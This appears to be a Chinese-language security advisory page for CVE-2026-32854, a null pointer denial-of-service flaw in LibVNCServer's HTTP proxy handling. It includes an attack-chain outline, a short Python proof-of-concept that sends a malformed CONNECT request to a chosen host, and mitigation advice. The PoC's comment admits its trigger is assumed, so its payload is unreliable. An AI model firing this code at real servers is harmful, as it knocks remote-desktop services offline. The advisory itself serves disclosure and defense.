IPBUF安全漏洞报告
English
CVE-2026-32854 CVSS 7.5 高危

CVE-2026-32854 LibVNCServer空指针拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-32854
漏洞类型
空指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LibVNCServer

相关标签

DoS空指针解引用LibVNCServer远程攻击

漏洞概述

LibVNCServer 0.9.15及更早版本在HTTP代理处理逻辑中存在空指针解引用漏洞。当服务端启用了httpd和proxy功能时,远程攻击者无需身份认证即可发送特制的HTTP请求,触发`strchr()`返回值未校验导致的空指针解引用,进而导致服务崩溃。

技术细节

该漏洞根源在于`httpd.c`文件中的`httpProcessInput()`函数。在处理HTTP CONNECT和GET代理请求时,程序使用`strchr()`函数查找特定分隔符,但未检查返回值是否为NULL。若攻击者发送的格式异常请求导致`strchr()`返回NULL,后续代码直接对该空指针进行读写操作,引发段错误。由于LibVNCServer在处理HTTP请求时缺乏足够的异常捕获,该崩溃将直接终止服务进程。攻击向量为网络,无需用户交互,利用难度低,可造成高可用性影响。

攻击链分析

STEP 1
侦察
扫描网络识别开放了VNC服务端口(通常为5800或5900)且启用了HTTP代理功能的目标。
STEP 2
武器化
构造特制的HTTP CONNECT或GET请求,该请求格式能够绕过基础检查并导致`strchr()`函数返回NULL。
STEP 3
投递
通过网络向目标LibVNCServer服务的HTTP端口发送恶意数据包。
STEP 4
利用
目标服务器解析HTTP请求,`httpProcessInput`函数处理逻辑出错,触发空指针解引用异常。
STEP 5
影响
LibVNCServer进程崩溃,导致VNC服务拒绝服务,影响远程桌面的可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import sys def send_poc(host, port): # Malformed CONNECT request designed to trigger strchr failure # Assuming the bug is triggered by missing parameters or malformed headers payload = b"CONNECT malformed_target HTTP/1.1\r\nHost: target\r\n\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) print(f"[+] Payload sent to {host}:{port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python cve-2026-32854.py <host> <port>") else: send_poc(sys.argv[1], int(sys.argv[2]))

影响范围

LibVNCServer <= 0.9.15

防御指南

临时缓解措施
建议立即更新LibVNCServer至最新版本。若暂无法更新,应关闭服务器的HTTP代理功能,仅使用标准VNC协议,并通过网络访问控制列表(ACL)限制VNC端口的来源IP,以降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表